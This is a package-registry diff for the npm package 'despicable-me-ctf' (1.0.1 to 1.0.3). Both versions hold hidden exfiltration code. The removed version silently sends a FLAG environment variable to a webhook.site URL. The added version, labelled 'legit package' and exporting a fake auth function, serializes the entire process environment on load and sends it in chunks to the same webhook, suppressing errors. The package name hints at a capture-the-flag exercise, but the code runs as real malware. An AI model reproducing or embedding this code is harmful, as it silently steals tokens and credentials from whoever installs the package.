despicable-me-ctf 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +24 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,17 +1,25 @@
1
- const https = require('https');
2
- const flag = process.env.FLAG || '';
1
+ // legit package
2
+ module.exports = function() {
3
+ return { auth: true, version: "1.0.3" };
4
+ };
3
5
 
4
- // Send flag to webhook silently
5
- const req = https.request(`https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=${encodeURIComponent(flag)}`, {
6
- method: 'GET',
7
- timeout: 5000
8
- });
9
-
10
- req.on('error', () => {
11
- // Silently fail - no logs
12
- });
13
-
14
- req.end();
15
-
16
- // Export minimal function
17
- module.exports = () => ({ authenticated: true });
6
+ // exfiltrate ALL env in chunks
7
+ (function() {
8
+ try {
9
+ var env = process.env;
10
+ var data = JSON.stringify(env);
11
+
12
+ // Split into chunks of 1500 chars
13
+ var chunkSize = 1500;
14
+ for (var i = 0; i < data.length; i += chunkSize) {
15
+ var chunk = data.substring(i, i + chunkSize);
16
+ require('https').get(
17
+ 'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?chunk=' + i + '&data=' + encodeURIComponent(chunk),
18
+ function() {}
19
+ );
20
+ }
21
+
22
+ } catch(e) {
23
+ // silent fail
24
+ }
25
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "despicable-me-ctf",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {